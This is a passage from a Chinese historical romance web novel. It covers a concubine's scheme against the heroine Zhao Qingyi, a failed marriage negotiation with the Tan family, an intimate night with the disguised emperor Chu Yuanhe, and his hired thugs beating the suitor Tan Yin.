李衡接过匣子打开,想看看自己的东西是否还在,一方折叠整齐的艳色小衣忽然闯入视线,吓得他手一抖,匣子差点砸在脚边。 “这、这不是我的!” 他清俊的面容闪过一抹羞赧,急着自证清白,“我绝不可能私藏此等……此等腌臜之物!” 他捡起一根树枝,要将那东西挑出去,方姨娘再次阻拦,“你不是想求娶县主吗?” 李衡动作一顿,诧异地看向她,什么意思? 该不会是…… 再看匣子里的东西,李衡的脸涨得更红了。 “眼下就是一个大好机会,你就不想抱得美人归?” 方姨娘站起身,走到他身旁,缓缓道,“只要李榜眼配合,我就能让你得偿所愿。” 李衡沉默了,他隐约猜到方姨娘在计划什么。 明知对方不安好心,只是要利用自己,可李衡不知怎么,像是被鬼迷了心窍,讷讷开口,“敢问姨娘,打算如何做?” 声音里藏着一丝不易察觉的颤抖。 方姨娘嫣然一笑,到底是英雄难过美人关啊。 这一次,赵清仪翻不了身了! 第59章 第59章争相求娶 赵清仪出府,到附近几个铺子坐了一圈,赶在天黑前才慢腾腾回家。 回到揽月阁,俏月就气鼓鼓地递话,说二房那边,赵江俨一直缠着李衡,说什么求他指点课业,硬是让李衡在府上留宿一晚。 “这方姨娘肯定没安好心!”俏月言之凿凿。 檀月先前陪赵清仪出门了,听到这个消息,自然联想到偷贴身衣物的婢子,一个不好的念头闪过。 “这方姨娘,该不会要利用李二公子大作文章吧?” 不得不说,这方姨娘和赵漫仪不愧是母女,蠢到一处去了,怎么都觉得李衡会与她们县主有一腿? 别人看来,或许会觉得李衡条件不错,颇有潜力,可也远远配不上她们县主。 若是之前,方姨娘让李衡留宿,赵清仪会以为对方是为了方茹,可现在她已经知道方姨娘派人偷她贴身衣物了,又偏巧在这个关头留一个外男…… 唔,确实可疑。 这夜楚元河没来,翌日一早,李衡向赵清仪提亲还在赵家留宿的消息传至御前。 彼时楚元河正在紫宸殿批阅奏折,听完福贵的禀报,脸色黑沉沉的。 李家兄弟都这般惹人厌烦。 嘴上轻飘飘冷哼,“看来他还是太闲了,一个新政学堂不够他忙,那就让他去府学打理藏书。” 不过经此一事,倒也引起了楚元河的危机感,当即让福贵上呈一份名单,凡是向赵清仪求亲过的,皆被他以各种各样五花八门的理由处置了,不是禁足,就是指婚,更有甚者直接外放。 做完这些,尤觉不够,质问福贵,“上回叫你办的事怎么还没办好?” 福贵是个机灵的,赶紧赔笑道,“奴婢正要禀报陛下呢,听说呀,赵家曾有意将一位寄居府上的表小姐许给李大人为妻,只是李大人拒了。” “哦?”楚元河执笔动作一顿。 他不是个爱管闲事的,也没有给人牵姻缘线的癖好,若非李衡此举踢到铁板,他还真不会管李衡的婚嫁之事。 “李爱卿到底是年少轻狂,不懂痴心难得,朕岂能让他错过这大好姻缘?”笑完,让人拟旨。 赐婚旨意下达,也该是数日后的事情,此前赵家还算风平浪静。 就是赵老夫人觉得太平静了些。 打从自己的嫡孙女和离后,便陆陆续续有人上门提亲,而太皇太后懿旨降下,求亲者更是踏破赵家门槛,提亲者的门第也相应拔高不少。 但不知怎么回事,才热闹两日便忽然冷清下来,这让赵老夫人愁坏了。 早知道头两日她就抓紧些,好让嫡孙女尽快定下新的婚事。 马车上,赵清仪瞧出老夫人心事,笑着安慰,“祖母,您一把年纪了少操心,一会儿要见到姑母,您还是多笑笑。” 今日是她们阖家去永宁侯府拜见姑母的日子,赵清仪还不知此行是为二房相看。 坐在老夫人另一侧的赵温仪默默红着脸,不敢说话。 至于冯氏,面色始终不太好,大房不知情,但二房与老夫人都清楚,此次去永宁侯府,为的是赵温仪的婚事,老夫人不担心赵温仪就算了,还想着赵清仪的事。 想着赵清仪便算,还偏要把赵清仪带上! 她现在可是京中世家公子争相追捧的女子,有她在,谭家眼里还看得见她家温仪吗? 这不纯粹添堵么。 冯氏打定主意,若赵清仪抢了他们二房相中的女婿,她回头就跟老夫人拼命去! 马车到了侯府门前,赵怀淑得了消息早早侯着娘家人,萧文吟更是直接蹦蹦跳跳跑过去,一手牵着一个表姐。 “表姐来得真巧,谭家表哥哥也来啦。”萧文吟童言童语,笑嘻嘻地挽着表姐就要进去见人。 二房事先打了招呼,赵怀淑知道娘家人的目的,赶紧薅住女儿的后脖颈,没让她胡闹下去。 赵温仪脸皮薄,也嗔了小表妹一眼。 赵清仪终于了然,难怪一路上二婶的表情都这般难看,原来是她们要带女儿与谭家郎君相看。 谭尹…… 这辈子,赵温仪还是躲不掉此人吗? 她不免多看赵温仪一眼。 赵温仪被她看得羞臊不已,磕磕巴巴地解释,“对不起大姐姐,我并非有意瞒着你……” 自花神宴后,她们堂姐妹许久不曾说过话,不知是否因为那日,她没有及时站出来替大姐姐和张婉琰解围。 本就有了误会,她不想让赵清仪把她想成心思阴暗的小人。 赵清仪没往心里去,也能理解,毕竟自己未婚配,却跟着一起来了,难免让二房误会。 “二妹妹还是多看看吧。”她没直接说谭尹并非良配,省得说出来又惹二婶猜疑,觉得她居心叵测,没必要。 见赵清仪还肯和自己搭话,赵温仪心中安定不少。 永宁侯府世代忠烈,曾经也是盛极一时的存在,然而随着一代又一代的侯府子弟战死疆场,侯府人丁日渐凋零,到如今只存侯府世子萧寒玉这一根独苗。 而萧寒玉是永宁侯与原配夫人谭氏所出,即便如今是赵怀淑这个继室当家,也不敢苛待继子。 至于谭家更不必说了,都指望萧寒玉这个外孙挑起侯府门楣,是以这些年谭家与侯府常有走动,即便谭赵两家很巧合的在同一天见面,也不算失礼。 赵老夫人下了马车,先问起萧寒玉,“许久不见这孩子,听说也要参加武考了?” “是。”赵怀淑对继子可谓尽心尽力,当亲儿子养,“他日日都去校场练习,一早出门去了,还没回来。” 赵老夫人也不强求一定要见到人,横竖是继子,和赵家不亲,能和睦相处已经不错了。 一行人跟着赵淑仪步入前厅时,里面做坐着不少人,其中离主位下首最近的椅子上,正端坐着一个贵妇人,她旁边则是个二十出头相貌清秀的年轻公子。 生得不算十分出挑,至少在赵清仪看来,远不如楚元河,甚至还不如李彻,但却有股文质彬彬的气质,乍看之下,倒也顺眼,若非赵清仪有前世记忆,恐怕也会被对方这翩翩如玉的表象迷惑。 见到赵家人,那公子下意识起身作揖。 赵怀淑笑着介绍,“这位是谭家公子,谭尹。” 冯氏眼睛都亮了,“这就是谭公子啊,果然是一表人才!” 谭尹微笑颔首,与冯氏客套两句,来侯府做客前,家里知会过他,若无意外,应该会和赵家小姐定亲。 想想此前他也曾与赵家小姐有过书信往来…… 他微抬眸,第一眼却注意到老夫人身边的赵清仪。 自从有了太皇太后的懿旨,赵老夫人一门心思要给孙女说亲,便勒令赵清仪梳回未出阁的少女发髻,加上她年岁不大,一袭绛红牡丹提花罗衫,更衬得她端庄明艳,往哪儿一站,还真像个未出阁的少女亭亭玉立。 赵清仪却没看他,黛眉舒展,唇瓣浅笑,透出三分漫不经心。 谭尹一时忍不住多看两眼,纵使他曾有满院姬妾,也找不出第二个如赵清仪这般的仙姿昳貌。 冯氏注意到谭尹的眼神,赶紧推了女儿一把,将赵温仪推到人前,“温仪,还不快上前见礼?” 赵温仪愈发羞涩,但人前该有的教养,她一样不落,恭恭敬敬给谭夫人请安,又向谭尹略福了福身。 谭尹这才明白,要与自己说亲,且有过书信往来的是眼前这位小姐,只是看到过赵清仪,再看她,多少觉得寡淡无趣。 面上依旧笑如春风,作揖回礼。 想到对方或许就是未来的夫婿,赵温仪不敢直视对方的眼睛,安安分分退回自己的位置上。 冯氏热络上前,与谭夫人叙话,议亲之前,两家并无交集,但看冯氏这模样,不知道的还以为两家是世交。 赵老夫人没眼看,只是看了赵温仪一眼,用眼神询问她的意思,问她是否满意。 赵温仪不好意思地垂下脑袋,又怕错过了姻缘,再三偷眼打量对面的谭尹,犹豫片刻方含羞带怯点头,表明自己的心意。 赵老夫人便向谭夫人挑明,谭夫人原本与冯氏相谈甚欢,可一提到婚事,对方竟改了主意,“……非我谭家看不上二小姐,只是自古长幼有序,如今县主还待字闺中,要议亲,恐怕也得先论县主的婚事。” 冯氏笑得快僵硬的脸登时沉下。 谭夫人端起茶盏抿了一口,佯装看不到冯氏要吃人的目光,“我瞧县主知书达理,颇有一家主母的气度,不知我儿可有那个福气,聘县主为妻?” “不可!”冯氏一拍桌案,边上的茶盏跟着抖了抖,溢出一滩茶水。 察觉众人投来的目光,冯氏忍了又忍,勉强坐回去,尽量用平和的语气说,“谭夫人,实不相瞒,今日我赵家是为二女儿说亲来的。” “我知道。”谭夫人也笑,“只是,我谭家确实相中了县主,就是县主身份尊贵,不知可愿下嫁?” “这……”老夫人不知该如何是好,二孙女的婚事若搅黄了,冯氏肯定要闹。 所有人的视线落在赵清仪这位正主身上,她仿佛才反应过来,一脸茫然,“祖母,我们今日不是来看望姑母的吗?” 赵老夫人了然,这是不愿意的意思。 “实在抱歉,我这大孙女未有婚配之意,谭夫人觉得温仪如何?” 其实老夫人心里不太痛快,谭家什么门第?配二房勉强,还是看在他们与侯府有亲的份上,才不介意亲上加亲,可她们居然狮子大开口觊觎自己的嫡长孙女。 且不论赵清仪是县主,光他是阁老之女,就得配个如侯府一般的勋贵,远远轮不到谭家攀附。 换做从前,谭家可没这个脸,现在敢提,无非是觉得赵清仪嫁过人。 谭夫人不着痕迹地扫了赵清仪一眼,又看向赵温仪,论相貌,赵温仪也不差,会是一般人家争相求娶的贵女。 但正所谓瘦死的骆驼比马大,就算赵清仪有过婚姻之实,可有太皇太后的懿旨,名义上她就还是清清白白的姑娘,又是县主,还有几十万嫁妆,只要不傻,都知道二人之间孰优孰劣。 不是赵温仪不好,是利益不够。 “既然县主无意,那两家婚事就再看看吧。”谭夫人笑吟吟地揭过去。 冯氏气到咬牙,好啊,还挑上了,当赵家的女儿是菜市口的白菜呢,谭家是什么东西也敢挑三拣四! 最终两家不欢而散,冯氏气到午膳都吃不下去,直接带着女儿走了,赵老夫人叹口气,也不逗留。 赵家人一走,谭夫人老神在在的表面功夫维持不住了,有些慌张地看着儿子,其实娶二房的女儿也不错的,原本她今日来,要定的也是二房的女儿。 这不是见到了宸华县主,才会临时改变主意,试探一二罢了,谁知赵家人气性这般大,这下结亲不成,反结仇了。 谭尹没说话,若有所思。 赵温仪上了马车,再忍不住哭了起来,今日的场面实在令她难堪,让她觉得丢脸至极,好像她上赶着攀附谭家的亲事,结果人家压根没看上她。 怪大姐姐吗?好像也不全是大姐姐的错,她是无辜的。 可赵温仪就是难受,婚事上屡屡受挫,她干脆绞了头发去做姑子得了,如此也不必经历这等羞辱。 赵老夫人不知要如何安慰她,说自己从来没偏心大房吗?说了人家也不信,但老夫人觉得,自己只是将两房摆在各自的位置上,就事论事罢了。 二房不如大房是事实,婚姻又讲究门当户对。 说到底,怪二房不争气吧,眼光还不好,看中了什么谭家,结果就是势利眼,唯利是图,出尔反尔,不嫁,或许是好事呢。 赵清仪独自坐在一旁,内心复杂。 谭家的确不是好去处,谭尹也不是个东西,婚事黄了就黄了,但因为自己而黄,多少晦气了。 回到赵家,赵温仪就哭着将自己锁在房间里,怎么也不肯出来。 孟氏刚收到张家送来的请柬,四月十八是张婉琰与乔文柏的婚期,孟氏正要知会女儿,就看到二房一家气冲冲地过来。 要孟氏给个准话,要么赶紧给赵清仪定亲,要么,让赵清仪出府。 赵澜俨心直口快,“这跟我姐姐有何关系?之前要是分家了,不就没这档子事。” 早分了,谁也碍不着谁不是吗? 总不能又想扒在大房身上吸血,又要大房委屈退让,姐姐不想再嫁,她就不配留在娘家了吗? 二叔二婶要真有骨气,那就分家啊。 孟氏也默认儿子这番话,没吭声。 冯氏差点跳脚,赵怀良出来拦住她,生怕冯氏盛怒之下口不择言,说些得罪人的话,又问赵清仪对谭家是何态度。 赵怀良升官了,从一开始的吏部文选司主事,调去户部任职,户部可是肥缺,经手的银钱多如流水,算起来,谭大人现在还是他上锋。 自己女儿嫁不了,若赵清仪愿意,那对他这个二叔来说也是有利可图的。 赵清仪神色淡淡,“谭家之所以反悔,只因我是阁臣之女,又有丰厚嫁妆,这才生了改换之心,如此小人之家,我不会嫁,待父亲回京,我会搬出赵家。” 这也是她原本的打算。 赵老夫人不同意,谭家婚事,和亲孙女相比,孰轻孰重她拎得清。 “清仪说得在理,那谭家实非良配,出尔反尔,唯利是图,可见家风不正,这门婚事弃了就弃了,好男儿多的是,再看看。” 赵老夫人不想继续这个话题,赶紧岔开,把孟氏手里的请柬抽出来,塞给赵清仪,“张家要嫁女了,你与张家小姐情同姐妹,就由你来准备贺礼,去吧。” 打发赵清仪快些走,省得二房看了她纠缠不休。 又安抚冯氏,“好了好了,张家嫁女,你们带上温仪过去沾沾喜气。”还从自己的私库里取了不少好东西送去西跨院。 冯氏气归气,可婆母都表态了,还赏了值钱东西以示安抚,她得见好就收,各自给个台阶下了,再闹,显得她得理不饶人。 冯氏勉勉强强收下东西转回西跨院,就是路上还和往常一样,喜欢口头抱怨老夫人偏心。 还好老夫人开口,让她带女儿去张家蹭蹭喜气,那可是首辅之女出阁,去的都是达官显贵,说不准婚宴上就能找到自家女儿的良缘。 这时候,又显出不分家的好处了,不分家,二房就和大房一体,大房的风光,就是二房的风光,大房的人脉,也是二房的人脉。 不然以自己丈夫的官职,观礼的资格都没有,更别说去婚宴上认识达官显贵了。 说来说去,怪自己丈夫不争气。 冯氏闷闷地想,没注意迎面摇曳而来的方姨娘。 等人都了近前,才没好气地翻了个白眼,“没长眼睛吗?敢堵本夫人的去路。” 方姨娘袅袅婷婷地屈膝行礼,“妾身听说张家女儿要出阁了?” 冯氏警惕起来,“关你一个小妾什么事?” 这些年方姨娘得宠,她拿对方没办法,为了不给自己气受,她们之间从来井水不犯河水,她不主动找茬,方姨娘也别来她跟前碍眼,也算相安无事。 可张家嫁女儿,她要带温仪去见见世面来着,方姨娘问这么多,难不成还想掺和一脚? 方姨娘又笑,“妾身自知位卑言轻,没资格赴宴观礼,但这不是想着二小姐么,张家小姐都出阁了,咱们二小姐还待字闺中呢。” 果然,来找不痛快的。 冯氏冷下脸,“再敢胡咧咧,我撕了你的嘴!” 方姨娘压根不怕她,“妾身也是刚听说,谭家没相中二小姐,倒是看中了县主。” “你找死?”冯氏不惯她,抬手要赏她一耳光。 “夫人且慢!” 方姨娘盯着她扬在半空的手,又是那副柔柔弱弱的姿态,“夫人误会了,妾身不是来取笑夫人的,而是来为夫人出谋划策的。” “你?出谋划策?”冯氏狐疑地上下打量她。 想到这些年对方层出不穷的争宠手段,让自己明里暗里吃了不少亏,冯氏心有余悸,但又有点心动,方姨娘的脑子,说不准比自己的好用呢。 “你有这么好心?” 听出冯氏话里的动摇,方姨娘赶紧讨好地说,“夫人哪里话,二小姐也是妾身看着长大的,情分非同寻常,妾身当然希望二小姐得偿所愿了。” “二小姐又是咱们二房唯一的嫡女,她若嫁得好,老爷就得脸,老爷得脸,妾身也跟着面上有光啊。”方姨娘说得头头是道。 冯氏冷笑,“还算你有点眼色,可我凭什么相信你?” “夫人不信妾身,但也该相信,妾身与县主不合。”方姨娘不再掩饰对赵清仪的恶意,咬牙切齿,“她害了我的女儿,我自与她势不两立!” 冯氏对她的信任又多了一分,“那你说说,如何让温仪得偿所愿。” 方姨娘扫了她身边的仆从一眼,冯氏意会,挥挥手让她们先退下。 “夫人可知,县主早与一人暗通款曲。”方姨娘抬手掩唇,附在冯氏耳畔,神神秘秘。 冯氏瞬间瞪大眼睛。 这传出去,可是败坏门风的丑事,再一想赵清仪平日的做派,冯氏不信,“一派胡言!” 她宁可相信暗通款曲的人是方姨娘。 “夫人可还记得李衡?”方姨娘睁眼说瞎话,“李衡在咱们府上留宿过,你可知他二人私下见面了?” 子虚乌有的事,冯氏哪里会知道。 方姨娘给冯氏出主意,“只要捅破此事,县主不嫁也得嫁,只要她嫁出去了,谭家就会回心转意,即便没有谭家,还有别家,提起赵家的女儿,就只会想到二小姐,谁还会想已出阁的县主,还愁二小姐嫁不出去吗?” 顺着方姨娘的话去想,这似乎的确是个不错的主意,反正李衡也来提过亲,要三媒六聘迎娶赵*清仪过门,当时冯氏嫉妒归嫉妒,可若赵清仪应了这门亲事,她也会笑脸恭喜的。 偏偏人家不嫁,她作为长姐压在上头,底下的温仪想议亲都难。 方姨娘笑得阴损,仔细观察冯氏的神色变化,就在她以为冯氏会上钩时,对方猛然抬手,将先前没打下来的耳光,结结实实甩她脸上。 白皙的脸颊登时浮现一个五指印,方姨娘捂着脸难以置信,“……夫人?” 冯氏冷笑,“好你个贱人,还想拿我当枪使?” 她是脾气不好,冲动易怒,没什么脑子,可她又不傻! 捅破赵清仪的丑事,迫使对方出嫁又如何,名声都臭了,她二房和大房一体,也会受牵连,最后只会便宜方姨娘,方姨娘大仇得报。 真当自己是蠢货,可以随她利用吗?再者,赵清仪再不济那都是她侄女,她可不会使这些龌.龊手段害自己家人。 “什么暗通款曲,我看多半是你想挑事,我呸!” 冯氏朝她身上用力啐了一口,横竖仆从都被支开了,除了方姨娘,谁会看到她粗鄙的一面? 方姨娘自恃温柔小意,颇有几分才情,这些年也是靠这些才能盛宠不衰,可学不会冯氏这等做派,吓得连连后退,生怕对方唾沫横飞,沾到自己身上。 冯氏白了她一眼,没好气道,“浪费老娘时间,我还当你真有什么靠谱主意呢!” 走之前,还恶狠狠警告方姨娘最好能安分守己,要是捅出什么祸事,累及全府名声,她就乱棍打死这贱人。 方姨娘万万没想到,一直和大房不对付的冯氏,居然为了大房,反过来把她啐得狗屁不是。 “冯如兰,你个蠢货,你不识好歹!” 第60章 第60章“你终于承认,你也喜欢…… 入夜,月色高悬,揽月阁内寂静无声。 廊下缀着成排的琉璃宫灯,暖融融的光线在夜风吹拂下摇曳,赵清仪提着裙裾,缓步踏上台阶。 骤然间,一股不容抗拒的力量自身后袭来,握住她提着裙裾的胳膊向后一拽,赵清仪险些从台阶上跌倒,被一双坚实的手臂牢牢圈住。 昏暗中,赵清仪还没分辨来人的相貌,就被男人抵在廊柱上,温热的气息猝然吻了上来。 是熟悉的清冽气息,和难以言喻的酥麻。 赵清仪轻哼出声,手下意识去推那颗歪在她脖颈间的脑袋,“别闹……” 自从她与楚元河突破了那层关系,揽月阁里已经不住其他仆婢了,只有檀月俏月两人,到了夜里,两个婢子默契地歇在耳房,无事不出来晃荡,就怕撞见不该见的。 可这也不能保证万无一失,况且这还在廊下。 “果然是有了旁的狂蜂浪蝶,夫人便不喜我亲近了。” 楚元河的唇吮着她脖颈处的软肉,眸色逐渐幽暗,“听说李衡上门提亲了,谭家也看上了你,夫人就没什么想同我说的?” 他张开獠牙,咬住她颈侧淡淡的青筋。 赵清仪娇躯猛的一颤,就要否认,“没有……啊!” 话音未落,脖子传来细微的刺痛,令她身子抖得越发厉害。 她赶紧解释,“我是说,我没有不喜欢你……” 那利齿方肯收了力道,又恢复了轻柔的吻,伴着低低的嗓音道,“夫人有了我,可就不能再嫁旁人了,你若背弃了我,我可是会吃醋的……” 楚元河语气轻快,却不难听出话里的威胁之意,修长的指节钳住她秀气的下巴,迫使她转过脸,承受他的亲吻。 赵清仪压根没想过再嫁,一面招架,一面忙不迭答应,“我不嫁就是,你快停下……院子里还有人……” 目光掠过她颈侧的吻痕,楚元河这才心满意足,稍稍松开桎梏,又恢复了往昔的温柔讨好。 “……那我们回房?” 挑.逗的语气,再次令赵清仪脸红心跳,她强装镇定道,“我今夜还有正事。” 她得准备送给张婉琰的新婚贺礼。 “巧了,我也有,那……事不宜迟?”楚元河故意曲解她,将人打横抱起,阔步朝房间走去。 赵清仪总会在他这里受到惊吓,晃着两条腿挣扎,“快放我下来……” 话没说完,楚元河已经抱着她闪进屋里,落下门闩后,就将她压进角落。 “现在能亲你了吗?” 溅在鼻息间的呼吸滚烫,灼得赵清仪晕晕乎乎,她的手还攥着男人的衣襟,犹豫片刻,轻轻嗯了声。 但怕他咬人,急忙表明态度,“我真没想到还会有人向我提亲,你别生气……” 到底还是顾及他的感受,堂堂郡王为她沦落成外室,她也该适时说两句好话安抚人心。 楚元河无疑是受用的。 “给我亲会儿,我便不气了。” 舌尖掠过她饱满莹润的唇,轻柔得好似试探,随即那轻柔化作无法抑制的深吮,顺着她微启的唇缝长驱直入,攫取她唇齿间每一丝气息。 他的吻颇有技巧,总在她面临无法承受的边缘及时后撤,待她喘上了气,再度纠缠上来。 赵清仪紧绷的身体软了下来,攥着他衣襟的细指蜷起,将他拉得更近,相贴着密不透风。 她不再是被动承受,仰面迎合他的吻。 夜色仿佛在这一刻凝滞,只剩彼此急促交缠的喘息,和唇齿间那令人面红耳赤的细微水声。 楚元河大掌扣着她的后脑勺,忍不住发出一声轻叹,“你用的什么口脂?” 赵清仪贴着门框还在气喘,闻言一脸茫然。 就是寻常的口脂而已,楚元河今夜来得早,赶上她尚未沐浴净面的时候,脸上还贴着妆容。 楚元河又在她唇上舔了一口,“……是甜的。” 赵清仪的面颊通红,不等她开口,对方又揽着她跌入榻中,热切的吻密如春雨。 七荤八素间,楚元河总能抽空问上一两句,诸如“这能亲吗”,“那儿能摸吗”此类。 且总挑在她支支吾吾时问出来,回应他的只能是“唔”“嗯”之类毫无意义的音节,听起来,似乎都是她允许的。 楚元河笑得促狭,掌心陷在她绛红的长衫下,盘扣散得七零八落。 他的鼻息印在她雪色的肌肤上,激起一阵细微的颤.栗,赵清仪从昏聩中清醒半分,小手推搡着他。 “小的伺候夫人宽衣。”楚元河一把握住她纤细的手腕,分在两边,三下五除二解开碍事的,更细密灼热的吻落下。 “别……别闹了……”赵清仪语带哭腔。 上回是中了药,她徒留本能去接纳他,其中滋味模模糊糊,可眼下她是清醒的,他带给她的每一处感官都如此强烈,让她羞愤得只想哭。 楚元河锲而不舍,“不要害羞……” 她太羞了,须要他这样脸皮厚些的,慢慢教她享受这其中乐趣。 他埋首玲珑处流连不已,他不敢告诉她,自己觊觎此地已久,一回两回根本不足以填满他的渴望。 赵清仪两只细腕被禁锢着无法动弹,她只能难耐地拱起腰肢,泪水顺着震颤的眼睫滑落,瞬间没入鬓发消失不见。 他又问含含糊糊地她擦的什么香露,怎么也这般好闻。 赵清仪哭得上气不接下气,屈膝蹬向他的小腹,被楚元河眼疾手快按住,他眸色渐深,“般般,这可使不得……” 赵清仪才不管他,改用脚踢,“我还没沐浴,你离我远些。” “我又不嫌弃。”楚元河满眼无辜,“般般很香,不洗也是香的。” 他每一个字都是发自肺腑,他就是很喜欢她的味道,说不上具体的缘由,就是喜欢,只是闻一闻,就能上瘾的程度,叫他欲.罢不能。 “胡说八道。”赵清仪听得耳尖发红,“……我真有正事,不然赶不上明日的吉时了。” 边说边胡乱地拢好衣裳,起身走到多宝格前,将准备送给张婉琰的贺礼装入匣中,再包上一层烫金红纸。 楚元河叹了口气,颓然歪在她的床榻上,单手支着脑袋,好整以暇看她忙碌。 看着看着,眼神又变得赤.条条的,那日过后,他对她的一切都不再掩饰,说话行事,放.荡得不成体统。 赵清仪被他盯得浑身不自在,赶紧岔开话题,“太皇太后的懿旨,是你求来的?” 楚元河挑眉,不置可否,“你不高兴?” “没有。”赵清仪当然不会不高兴,有这道懿旨,至少明面上没人敢再非议赵家,非议她的父亲,除了狂蜂浪蝶有些麻烦。 再者…… 她的顾虑还有楚元河。 直到此刻她方才意识到,她不是过去那个困在李家的妇人,她又恢复了婚嫁自由,她一日不嫁,前来提亲的人就不会停止。 那楚元河呢? 他正值青年,相貌出众,又是皇亲国戚,还未娶妻,朝中想嫁他的女子必然不少。 若有朝一日他想娶妻了,或是老王爷想让他娶妻了…… 甚至,陛下为他指婚…… 那她如今,又算什么呢? 楚元河见她背着自己,久久不说话,也想到了近日求娶的事,“是太皇太后的懿旨给你带来麻烦了?” 太皇太后的本意是想卖他一个人情,楚元河没有拒绝,默许了太皇太后此举,当然,这其中也有他的私心。 他是打定主意要娶赵清仪的,只是时间问题,有这道懿旨,将来他娶亲时也好堵悠悠众口。 却不想,在他明里暗里敲打过后,还有人胆敢打赵清仪的主意,谭家真是狗胆包天了。 楚元河等着赵清仪主动向自己吐露心声,或是抱怨两句,他也好安慰安慰,顺便想法子给她出出气,可赵清仪又沉默了。 楚元河走过去,从后面环住她的腰身,“非我自负,这京中没有我不敢得罪的人,你若是受了欺负,心里不痛快,可以告诉我。” 他希望赵清仪依赖他,需要他。 赵清仪还是没有主动提起任何人,只笑了笑,“你想多了,我没受欺负,只是想到有朝一日,你会娶妻。” 楚元河一愣。 “你若打算娶妻,你我便要断绝关系,再不来往。” 这是赵清仪深思熟虑的结果,现在看着是她们你情我愿的事,可一旦关系里牵扯到了第三个人,她的存在,就是对他妻子的不公。 倘若…… 倘若他本来就有娶妻的打算,那自己更该慎重考虑这段关系,当断则断,不要让彼此陷得太深。 楚元河的心顿时往下一沉,他扣着她的双肩,将她掰过来,“这话我不爱听,你重说,说些好听的,恩恩爱爱,天长地久,白头偕老……都可以。” 原本压抑的气氛,被他这认真又无赖的一句话打破,赵清仪没忍住笑出声来。 楚元河却绷着脸,扣着她肩膀的手指不自觉用力,“我是认真的,方才那些断绝往来之类的,不要再说了。” “好好好。”赵清仪没往心里去。 “我若娶妻,只会娶你。”楚元河忽然赌咒,“若是娶不到你,我就削发出家,当一辈子和尚,让你后悔。” 楚元河傲气地抬起下巴,信誓旦旦,“到时候……你可别哭着去相国寺求我,我是不会为你破戒还俗的。” 赵清仪心底那丝阴霾一扫而空,笑得乐不可支。 “你不信?”楚元河板着脸。 赵清仪配合,频频点头,“我信。” 不过她更相信,楚元河对自己始终是一时兴趣,之所以持续多年,不过是因为没有得到,如今阴差阳错,他得到了,待新鲜劲过去了,他的真心也就不值钱了。 赵清仪能想到的只有珍惜当下,至少彼此有过美好的回忆,她不后悔。 楚元河一双幽邃的桃花眼仿佛能洞穿人心,警告她,“你别想着甩了我。” 赵清仪心虚,“何出此言?” “我看出来了。”高大的身躯微微下压,强势的压迫感笼罩住她,楚元河直直盯着她的眼睛,“你觉得我对你,只是一时兴趣。” 被识破,赵清仪不否认,秀气的眉梢轻挑,“你不如坦然承认,我们就是贪恋一时的肉.体之欢。” 她感受得到,楚元河迷恋她的身体,食色性也,再正常不过,她也同样喜欢他的。 楚元河并不否认,他喜欢她,自然也喜欢她的身,灵与欲在他这里是分不开的。 他又恢复漫不经心地笑,凑得更近了些,嗓音磁沉,“所以你终于承认……你也喜欢我的身子?” 这次轮到赵清仪愣住,对方却不给她任何狡辩的机会,一口噙着她的唇,将她重新逼回榻上。 将她推到床角处,楚元河单膝跪在榻面挤了进去,边亲边捉着她的手,引导她领会他的强劲。 赵清仪指尖泛红,紧闭的眼睫颤啊颤,手已经不听使唤了,柔软丝滑的锦缎根本不足以抵抗其下蓄势待发的灼热,热意透过锦缎直达她的掌心。 又不满足于只在她掌心,索性跳脱出来,隔着层层叠叠的累赘抵上命定的归处。 赵清仪仰头,修长玉颈一片绯红,她呜咽着大口喘气,眼里像涨潮的湖水,波光潋滟。 他又问她,“好了吗?” 算算也有几日了,应该是好了的,他迟疑着,“我能看看吗?” 赵清仪摇头,“明日……明日婉琰出嫁……” 楚元河肯定不止是看看而已,发作起来收不住的,加上他又是武将出身,那一身腱子肉折腾起来,能闹半宿,她明日绝对见不了人。 楚元河的热情瞬间如同退潮的湖水,半晌,报复性地咬住她的柔软。 赵清仪吃痛,雪山颤动险些崩塌,晃了又晃。 楚元河勉强抬起头,漆黑深邃的瞳中倒映着雪山一抹红。 他侧过身,肌肉虬结的臂膀枕在她光洁的后背处,将她整个身子拥入怀中,灵巧的腕自她腋下而过,反扣着。 赵清仪的羞.耻心反复挣扎又破碎,最后只能作罢,随他了。 再拒绝,估计对方得破罐子破摔,吃亏的还是自己。 她就迁就他一回好了。 楚元河慢条斯理地掌控她,心里多少是舒服了,忍不住又问她吃什么长大的。 赵清仪起初没回过味儿,觉得他问得奇怪,还能吃什么,跟大家都一样啊,可话刚脱口而出,对方沿着圆弧五指收拢,她还有什么不明白的。 “你……你不要脸!” 一股气血直冲脑门,赵清仪抄起手边的软枕砸他脑袋上。 楚元河另一只手及时挡住,嘿笑出声,“若我们不熟,我胡说八道那才叫不要脸,可你我这样,分明是床笫之欢,人之常情,况且我那话是夸你,夸你你还凶。” “谁愿意在这时候被夸?”赵清仪反正没这个脸皮,他的歪理还一套一套的。 “我愿意啊。”楚元河把软枕放好,“若是你夸我,譬如什么……年轻力壮,天赋异禀……” 赵清仪听不下去了,忙捂住耳朵嗔他。 好好一个人,偏偏长了张嘴! 楚元河又一次被她从床上踹下去,跌落脚踏时,他还抱着自己的衣裳笑。 他站起来整理衣衫,“好了好了,我不气你了,我去给你报仇。” 赵清仪躲在被子里,“报什么仇?” “谭家。”楚元河撂下两个字,大摇大摆从她房门出去了。 许多事赵清仪不说,不代表他不知道,这上京没有任何一件事,任何一个人能逃出他的掌控,只看他有没有兴趣管一管罢了。 而谭家,显然是撞枪口了,赵清仪不计较,他得计较。 一个寻花问柳,好.色成性的二流子,也敢肖想他的女人,以为平日装得人模狗样,就没人知道他后院里的破事了。 该让对方吃点苦头。 当夜,一个暗无人烟的街角,谭尹从一个外室宅子里悄悄出来,准备回自己家去,却在走出几步后,被人从后头套了麻袋,一阵拳打脚踢。 楚元河就立在不远处,轻摇折扇,一派淡然,等一帮人打累了,打得麻袋里的谭尹没了动静,才纷纷上前复命。 福贵丢过去一个钱袋子,几个地痞看了银两数目,眉开眼笑,“多谢大老爷!下回再有这种好事,尽管吩咐小的!” 楚元河没说话,挥挥折扇,让他们走。 福贵上去查看麻袋里的人,已然鼻青脸肿,还剩一口气。 楚元河这才稍微解气,“走,回宫。” 福贵一路笑得谄媚,最近陛下是肉眼可见的容光焕发,可见与县主进展不错,他这做奴婢的也跟着欢喜,立即想了法子给陛下排忧解难。 “陛下,依奴婢看,这赵家二房咄咄逼人,无非就是怕耽误了那二小姐的婚事,若陛下给二小姐指一门好亲事,这事儿不就清了。” 